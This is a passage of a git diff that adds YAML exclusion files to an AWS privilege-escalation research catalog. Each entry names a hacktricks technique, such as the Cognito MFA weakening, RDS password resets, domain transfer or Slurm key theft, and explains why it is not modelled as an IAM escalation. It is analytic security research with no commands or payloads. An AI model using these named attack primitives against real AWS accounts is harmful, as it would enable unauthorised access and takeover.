src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md#mqupdateconfiguration-mqupdatebroker-mqcreateusermqupdateuser + technique: mq:UpdateConfiguration + mq:UpdateBroker + mq:CreateUser|UpdateUser + reason: ActiveMQ broker-level users and authorization map; broker administrator is not an AWS principal. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md#mqupdateconfiguration-mqupdatebroker-mqupdatebrokeraccessconfiguration--trust-an-attacker-controlled-rabbitmq-idp + technique: mq:UpdateConfiguration + mq:UpdateBroker + mq:UpdateBrokerAccessConfiguration + reason: RabbitMQ broker administrator via an attacker IdP; broker-level access and persistence, not an AWS principal. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md#snssettopicattributes--grant-subscribe-access-to-a-controlled-iam-user + technique: sns:SetTopicAttributes + reason: 'Resource-policy grant of sns:Subscribe on one topic to a controlled user: message read access only, like sns:AddPermission.' + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md#sqssetqueueattributes--grant-queue-access-to-a-controlled-iam-user + technique: sqs:SetQueueAttributes + reason: 'Resource-policy grant of queue access to a controlled user: message read access only, like sqs:AddPermission.' + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#systems-manager-ssm + technique: SSM intro + reason: Service introduction heading linking to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md#task-resources + technique: Step Functions task resources + reason: Informational list of service integrations; no technique on its own. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-synthetics-privesc/README.md#amazon-cloudwatch-synthetics + technique: CloudWatch Synthetics intro + reason: Service introduction heading linking to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appsync-privesc/README.md#appsyncupdatedatasource--appsyncupdateresolver--iampassrole + technique: appsync:UpdateDataSource + appsync:UpdateResolver + iam:PassRole + reason: The self-contained new-API route is represented by aws-appsync-passrole-new-api-sigv4. This existing-API variant still needs a recorded callable field, resolver/data-source binding and authorization to invoke it before a passed role can be reached. + source_revision: '171e422299' diff --git a/src/privilege-escalation-paths-research/aws/_excluded_refresh_g6.yaml b/src/privilege-escalation-paths-research/aws/_excluded_refresh_g6.yaml new file mode 100644 index 0000000000..22c7ea447b --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_refresh_g6.yaml @@ -0,0 +1,184 @@ +# Catalog refresh G6 exclusions (hacktricks-cloud 171e422299): storage, data and identity-data pages. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpadmindeletesoftwaretoken--cognito-idpadminsetusermfapreference--cognito-idpsetuserpoolmfaconfig--cognito-idpupdateuserpool + technique: cognito-idp:AdminDeleteSoftwareToken / AdminSetUserMFAPreference / SetUserPoolMfaConfig / UpdateUserPool + reason: MFA weakening only; account takeover still needs the victim's password (or a separate reset primitive already modelled by the password entries). Supersedes the stale _excluded_a.yaml line for + this heading. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#select-an-identity-pool-role-through-editable-claims + technique: Identity-pool rule-based role mapping on user-editable claims + reason: 'Needs no IAM permission: an end user edits its own token claims through user-pool self-service APIs. A writable claim can select an identity-pool IAM role when a matching rule exists, but this is not an edge originating from an IAM principal. Assess the app client write permissions and identity-pool role mapping together.' + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-user-pools-privesc/README.md#cognito + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-user-pools-privesc/README.md#custom-attribute-privesc + technique: Self-service update of a mutable custom attribute + reason: Token-authorized change by an app user, with no IAM source permission. Application privilege changes depend on the app; an AWS role additionally needs a matching identity-pool claim rule, covered by the editable-claims exclusion. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cognito-user-pools-post-exploitation/README.md#emailusername-modification-privesc + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-user-pools-privesc/README.md#emailusername-modification-privesc + technique: Self-service email/phone/name change + reason: Application-level impersonation when the app trusts unverified claims; no IAM permission and no AWS principal reached. + source_revision: fd7d56b0a9 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-datasync-delegated-copy-post-exploitation/README.md#aws-datasync + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datasync-privesc/README.md#aws-datasync + historical_source_revision: 171e422299 + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md#directory-services--workdocs + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elasticache-privesc/README.md#elasticache + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elasticache-post-exploitation/README.md#privilege-escalation-take-over-and-widen-an-rbac-user-with-elasticachemodifyuser + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elasticache-privesc/README.md#privilege-escalation-take-over-and-widen-an-rbac-user-with-elasticachemodifyuser + technique: elasticache:ModifyUser + reason: Cache data-plane (Valkey/Redis RBAC user) takeover; the cache user is not an AWS principal and no IAM privileges are obtained. + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md#amazon-macie + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-memorydb-post-exploitation/README.md#post-exploitation-replace-an-acl-users-password-with-memorydbupdateuser + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-memorydb-user-reset-privesc/README.md#post-exploitation-replace-an-acl-users-password-with-memorydbupdateuser + technique: memorydb:UpdateUser + reason: Database ACL user password reset; data-plane access only, the MemoryDB user is not an AWS principal. + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-odb-privesc/README.md#oracle-databaseaws + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-odb-post-exploitation/README.md#odbupdateautonomousdatabase--reset-the-oracle-admin-credential-and-weaken-connection-controls + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-odb-privesc/README.md#odbupdateautonomousdatabase--reset-the-oracle-admin-credential-and-weaken-connection-controls + technique: odb:UpdateAutonomousDatabase + reason: Oracle ADMIN database credential reset; database-level access, no AWS account permissions obtained. + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-opensearch-serverless-privesc/README.md#opensearch-service + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-opensearch-serverless-privesc/README.md#aosscreateaccesspolicy + technique: aoss:CreateAccessPolicy / UpdateAccessPolicy + reason: Conditional self-grant of collection data access through an additive policy. Queries still require aoss:APIAccessAll on each collection and allowed network access; this is service data access, not another IAM principal's credentials or general IAM permissions. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-payment-cryptography-privesc/README.md#payment-cryptography + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-payment-cryptography-privesc/README.md#payment-cryptographyputresourcepolicy + technique: payment-cryptography:PutResourcePolicy + reason: Self-grant of key usage through the key resource policy; bounded to that key's cryptographic operations, no other principal's privileges. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-payment-cryptography-privesc/README.md#alias-policy-pivot-with-payment-cryptographyupdatealias + technique: payment-cryptography:UpdateAlias + alias-scoped data-plane permission + reason: Extends the source's own alias-scoped key permission to another key; key usage only, no other principal's privileges. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-pca-connector-ad-privesc/README.md#private-ca-connector-for-active-directory + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-pca-connector-ad-privesc/README.md#pca-connector-adcreatetemplategroupaccesscontrolentry--grant-enrollment-to-an-attacker-chosen-ad-group + technique: pca-connector-ad:CreateTemplateGroupAccessControlEntry + reason: Opens enrollment on an existing template only; on its own it grants no new identity, and it is the enrollment requirement of aws-pca-connector-ad-createtemplate-esc1 (CreateTemplate + CreateTemplateGroupAccessControlEntry). + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-region-switch-privesc/README.md#amazon-application-recovery-controller-region-switch + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-region-switch-privesc/README.md#arc-region-switchstartplanexecution--force-a-region-switch-availability--traffic-hijack + technique: arc-region-switch:StartPlanExecution + reason: Runs an existing plan as written; disruption/traffic redirection only, the source does not choose the actions or the role. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-resilience-hub-privesc/README.md#resilience-hub + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-resilience-hub-privesc/README.md#resiliencehubcreatetest-iampassrole-resiliencehubstarttestrun---execute-managed-fis-faults-as-a-passed-role + technique: resiliencehub:CreateTest + iam:PassRole + resiliencehub:StartTestRun + reason: Runs AWS-managed fault-injection templates with fixed actions; disruptive impact only (no arbitrary FIS template or SSM command), out of scope as disruption. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-resource-explorer-view-privesc/README.md#resource-explorer + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-resource-explorer-view-privesc/README.md#resource-explorer-2updateview--widen-existing-and-default-view-access + technique: resource-explorer-2:UpdateView + reason: Widens resource-metadata visibility of a view; reconnaissance only, no privileges gained. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-route53-domains-privesc/README.md#route53 + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-route53-domains-post-exploitation/README.md#route53domainstransferdomaintoanotherawsaccount--transfer-domain-registration-to-an-attacker-account + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-route53-domains-privesc/README.md#route53domainstransferdomaintoanotherawsaccount--transfer-domain-registration-to-an-attacker-account + technique: route53domains:TransferDomainToAnotherAwsAccount + reason: Domain registration hijack to another account; asset takeover, not another principal's privileges. + source_revision: 1fb542ff27 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-credential-brokers-privesc/README.md#s3 + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#s3-express-and-s3-access-grants-credential-brokers + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-credential-brokers-privesc/README.md#s3-express-and-s3-access-grants-credential-brokers + technique: s3express:CreateSession / s3:GetDataAccess + reason: Credential vending for data access the source is already granted (bucket session or existing grant); data access only, no escalation beyond existing grants. The location-creation variant is aws-s3-accessgrants-passrole-location-getdataaccess. + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-files-post-exploitation/README.md#s3-files + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-files-privesc/README.md#s3-files + historical_source_revision: 171e422299 + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-tables-privesc/README.md#s3-tables + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-tables-privesc/README.md#self-grant-access-through-a-table-or-table-bucket-policy + technique: s3tables:PutTablePolicy / PutTableBucketPolicy + reason: Self-grant through a table/table-bucket resource policy; data access within that resource, no other principal's privileges. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-vectors-privesc/README.md#s3-vectors + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-vectors-privesc/README.md#s3vectorsputvectorbucketpolicy---self-grant-vector-bucketindex-access + technique: s3vectors:PutVectorBucketPolicy + reason: Self-grant through a vector-bucket resource policy; data access within that bucket, no other principal's privileges. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-snowball-post-exploitation/README.md#snowball-edge-job-management + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-snowball-privesc/README.md#snowball-edge-job-management + historical_source_revision: 171e422299 + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-transfer-family-privesc/README.md#aws-transfer-family + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-transfer-family-privesc/README.md#host-keys-are-not-a-standalone-privilege-escalation + technique: transfer:ImportHostKey + reason: Server host-key injection; integrity/impersonation risk only with separate routing control, not privilege escalation (as the page states). + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-verified-permissions-privesc/README.md#verified-permissions + technique: Section introduction + reason: Service introduction / enumeration pointer heading; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-verified-permissions-privesc/README.md#create-or-modify-a-permissive-cedar-policy + technique: verifiedpermissions:CreatePolicy / UpdatePolicy / policy templates + reason: Application-level authorization change in a Cedar policy store; no AWS IAM privileges unless the application maps decisions to AWS operations (app-specific). + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-verified-permissions-post-exploitation/README.md#redirect-token-trust-with-updateidentitysource + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-verified-permissions-privesc/README.md#redirect-token-trust-with-updateidentitysource + technique: verifiedpermissions:UpdateIdentitySource / CreateIdentitySource + reason: Application-level principal impersonation in the policy store; no AWS principal reached. + source_revision: fd7d56b0a9 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-verified-permissions-post-exploitation/README.md#rebind-a-policy-store-alias-to-a-permissive-store + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-verified-permissions-privesc/README.md#rebind-a-policy-store-alias-to-a-permissive-store + technique: verifiedpermissions:DeletePolicyStoreAlias + CreatePolicyStoreAlias + reason: Application-level authorization redirection; no AWS principal reached. + source_revision: fd7d56b0a9 diff --git a/src/privilege-escalation-paths-research/aws/_excluded_refresh_g7.yaml b/src/privilege-escalation-paths-research/aws/_excluded_refresh_g7.yaml new file mode 100644 index 0000000000..44ec30a739 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_refresh_g7.yaml @@ -0,0 +1,123 @@ +# Catalog refresh (hacktricks-cloud 171e422299), group 7: end-user computing, IoT, media, business apps and misc services. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appconfig-post-exploitation/README.md#appconfig + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appconfig-privesc/README.md#appconfig + historical_source_revision: 171e422299 + technique: AppConfig + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#amazon-appstream-20 + technique: AppStream 2.0 + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamupdatestack--streaming-url--agentaccess-mcp--headless-desktop-control + technique: appstream:UpdateStack + streaming URL (agent access) + reason: 'Variant of the streaming-session entries (aws-appstream-createstreamingurl-existing-fleet): enabling headless agent access on a stack still yields the fleet role through a session.' + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamcreateentitlement--updateentitlement--grant-a-saml-identity-every-stack-application + technique: appstream:CreateEntitlement / UpdateEntitlement + reason: Grants SAML users application entitlements on a stack; the fleet role reach is the same as the streaming-session entries and requires a federated user session, not an AWS principal escalation + by itself. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-braket-privesc/README.md#amazon-braket + technique: Braket + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-budgets-privesc/README.md#budgets + technique: Budgets + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chatbot-privesc/README.md#chatbot + technique: Chatbot + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-chime-sdk-post-exploitation/README.md#chime-sdk + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md#chime-sdk + historical_source_revision: 171e422299 + technique: Chime SDK + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-chime-sdk-post-exploitation/README.md#capture-or-externally-relay-an-active-meeting + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md#chimecreatemediacapturepipeline--optional-iampassrole + historical_source_revision: 171e422299 + technique: chime:CreateMediaCapturePipeline (+ iam:PassRole) + reason: Meeting capture into S3; the sink role is a constrained S3/KMS proxy, not an escalation to the role. + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-connect-cases-privesc/README.md#casestagresource--casesuntagresource-plus-tag-conditioned-cases-permissions + technique: cases:TagResource / UntagResource (ABAC) + reason: Only the exact Cases domain Access=Operator tag change unlocking PutCaseEventConfiguration with reviewed before/after access is active as aws-cases-tagresource-domain-event-self-grant. UntagResource, other actions and multi-resource variants remain unproven. + source_revision: d11f0e7012 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-deadline-cloud-privesc/README.md#deadline-cloud + technique: Deadline Cloud + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-deadline-cloud-privesc/README.md#fleet-role-read-credentials + technique: deadline:AssumeFleetRoleForRead + reason: Vends the read-scoped fleet role credentials used for monitoring; reduced read access, not the fleet role. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-device-farm-privesc/README.md#device-farm + technique: Device Farm + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dlm-privesc/README.md#amazon-data-lifecycle-manager + technique: Data Lifecycle Manager + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-entity-resolution-post-exploitation/README.md + technique: Entity Resolution (whole page) + reason: 'Bounded data-movement deputy: workflows only read Glue/S3 inputs and write S3 output with the passed role; no code execution or credentials.' + source_revision: 0d0ea06005 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift-streams-privesc/README.md#gamelift-streams + technique: GameLift Streams + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-invoicing-and-billing-post-exploitation/README.md + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-invoicing-and-billing-privesc/README.md + technique: Invoicing and Billing (whole page) + reason: The page states there is no IAM role escalation primitive; techniques are billing-data disclosure, legacy billing access enablement and invoice delegation. + source_revision: d11f0e7012 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-core-privesc/README.md#privilege-escalation-iotcreaterolealias--iampassrole--vend-any-iam-role-via-the-iot-credential-provider + technique: iot:CreateRoleAlias + iam:PassRole + reason: Duplicate of aws-iot-privesc (catalog entry aws-iot-passrole-rolealias-certificate). + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-privesc/README.md#iot-core + technique: IoT Core + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-privesc/README.md#iotcreateprovisioningtemplate--iampassrole--iotcreateprovisioningclaim--self-replenishing-fleet-of-attacker-certificates + technique: iot:CreateProvisioningTemplate + iam:PassRole + CreateProvisioningClaim + reason: The provisioning role only registers things and certificates; it yields device certificates (persistence), and role access still goes through a role alias (covered entry). + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md#permissionless-discovery-fallbacks + technique: MediaPackage discovery fallbacks + reason: Enumeration notes; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-migration-hub-orchestrator-privesc/README.md#migration-hub-orchestrator + technique: Migration Hub Orchestrator + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-migration-hub-privesc/README.md#application-discovery-service--migration-hub + technique: Application Discovery Service & Migration Hub + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-q-business-post-exploitation/README.md + technique: Q Business (whole page) + reason: Plugin hijack yields actions in connected SaaS systems; no AWS principal obtained. + source_revision: 0d0ea06005 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-timestream-post-exploitation/README.md + technique: Timestream (whole page) + reason: Scheduled-query roles only run Timestream SQL and write to Timestream/SNS/S3 error reports; bounded data delegation. + source_revision: 0d0ea06005 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md#directory-services--workdocs + technique: Directory Services / WorkDocs + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workspaces-appstream-privesc/README.md + technique: WorkSpaces Applications redirect page + reason: Points to the AppStream page (covered by appstream.yaml). + source_revision: d11f0e7012 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workspaces-privesc/README.md#workspaces + technique: WorkSpaces + reason: Service introduction pointing to the enumeration page; no technique. + source_revision: 171e422299 diff --git a/src/privilege-escalation-paths-research/aws/_excluded_scoped_credential_overclaim_20261016.yaml b/src/privilege-escalation-paths-research/aws/_excluded_scoped_credential_overclaim_20261016.yaml new file mode 100644 index 0000000000..9dc734f5a6 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_scoped_credential_overclaim_20261016.yaml @@ -0,0 +1,21 @@ +# Credential claims without an exact full principal or permission target. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudwatch-omni-privesc/README.md#cloudwatchgetspacecredentialsfororganization--obtain-member-account-space-credentials + technique: aws-cloudwatch-omni-getspacecredentialsfororganization + reason: The response returns space-scoped credentials but does not name the vended IAM principal. The configured + dataAccessRoleArn is the operator-role ceiling for space operations, not proof that the caller receives all of + that role's IAM permissions. A concrete edge needs a successful session identity and exact effective authority. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datazone-privesc/README.md#getenvironmentcredentials-as-a-custom-environment-role + technique: aws-datazone-getenvironmentcredentials + reason: DataZone vends a session explicitly narrower than the associated IAM role (role chaining removed), while + the entry targets the full role. Project membership is also not collected. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datazone-privesc/README.md#associateenvironmentrole--iampassrole + technique: aws-datazone-passrole-associateenvironmentrole + reason: The DataZone credential session excludes role chaining and project-level authorization is not collected. + A full passable-role edge is not established. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-pcs-post-exploitation/README.md#pcsgetcluster-secretsmanagergetsecretvalue--steal-the-slurm-scheduler-authentication-key + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-pcs-privesc/README.md#pcsgetcluster-secretsmanagergetsecretvalue--steal-the-slurm-scheduler-authentication-key + source_revision: 3ad99dc7ac + technique: aws-pcs-getcluster-slurm-secret-node-roles + reason: The PCS secret ARN is matched account-wide as pcs!* and target roles are inferred only from instance-profile + naming. No exact cluster-to-secret-to-queue-to-node-group-to-role join or accepted job/code-execution evidence + is evaluated. diff --git a/src/privilege-escalation-paths-research/aws/_excluded_scoped_role_overclaim_20261016.yaml b/src/privilege-escalation-paths-research/aws/_excluded_scoped_role_overclaim_20261016.yaml new file mode 100644 index 0000000000..39fee8ef8c --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_scoped_role_overclaim_20261016.yaml @@ -0,0 +1,60 @@ +# These entries asserted a full IAM role or principal path without proof of that identity. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appconfig-privesc/README.md#appconfigcreateconfigurationprofile--iampassrole--deploymentread-permissions + technique: aws-appconfig-passrole-createconfigurationprofile + reason: AppConfig uses the passed role only to fetch specified configuration bytes; the source receives no role + session or general role permissions. +- source: src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md#metadata + technique: aws-lightsail-imds-verified-role + reason: The source is an unmodeled local-host foothold with no principal permission or action; requires host access, + and cannot establish an IAM-principal-to-role edge from the catalog. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md#rdsmodifydbinstance + technique: aws-rds-modifydbinstance-master-password-associated-roles + reason: A database admin password enables only engine integrations such as specific S3/Lambda operations; it does + not yield an associated IAM role session or full role permissions. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#out-of-band-sql-via-rds-data-api-by-enabling-http-endpoint--resetting-master-password + technique: aws-rds-modifydbcluster-master-password-associated-roles + reason: Aurora master access enables only configured SQL integrations; the associated IAM role is not assumed + by the source. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#read-the-rds-managed-master-password-from-secrets-manager-rdsdescribedb--secretsmanagergetsecretvalue + technique: aws-rds-managed-master-secret-associated-roles + reason: Reading the database master secret yields DB access, not credentials for the associated IAM role; any + SQL integration effect is limited and must be modeled separately. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md#redshift + technique: aws-redshift-modifycluster-master-password + reason: Redshift admin access enables only configured SQL integrations; attached IAM role credentials and unrestricted + role permissions are not obtained. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md#redshiftgetclustercredentials + technique: aws-redshift-getclustercredentials + reason: Vended database credentials and SQL ASSUMEROLE grants are not the attached IAM role session or its full + IAM permissions. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md#redshiftgetclustercredentialswithiam + technique: aws-redshift-getclustercredentialswithiam + reason: IAM-mapped database credentials grant database/SQL integration rights, not the attached IAM role session + or full IAM permissions. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md#redshift-serverlessgetcredentials + technique: aws-redshift-serverless-getcredentials + reason: Serverless database credentials grant database/SQL integration rights, not the namespace role session + or full IAM permissions. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#iampassrole-s3createaccessgrantslocation-s3createaccessgrant-s3getdataaccess + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md#iampassrole-s3createaccessgrantslocation-s3createaccessgrant-s3getdataaccess + source_revision: 3ad99dc7ac + technique: aws-s3-accessgrants-passrole-location-getdataaccess + reason: GetDataAccess vends credentials restricted by an S3 grant session policy; modeling the full passed IAM + role as reached overstates the target permissions. AWS confines the returned session to the granted S3 + bucket, prefix or object. The separate aws-s3-accessgrants-self-grant route models a verified new READ + permission on that bounded scope without claiming the location role's other permissions. +- source: 